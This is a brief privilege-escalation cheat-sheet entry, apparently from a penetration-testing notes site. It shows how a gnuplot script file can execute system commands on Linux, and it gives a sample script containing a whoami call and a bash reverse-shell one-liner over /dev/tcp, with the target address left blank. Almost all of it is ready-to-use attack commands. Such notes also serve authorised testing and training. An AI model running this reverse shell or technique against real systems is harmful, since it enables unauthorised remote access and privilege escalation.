Gnuplot Privilege Escalation

Last modified: 2023-06-19

Linux Privilege Escalation

gnuplot is a command-line and GUI program that can generate two- and three-dimentional plots of functions, data, and data fits.

Command Execution

The script file of gnuplot can be used to execute system commands as below.

gnuplot test.plt

Contents of the .plt is like the following.

system "whoami"

# Reverse shell
system "bash -c 'bash -i >& /dev/tcp/ 0>&1'"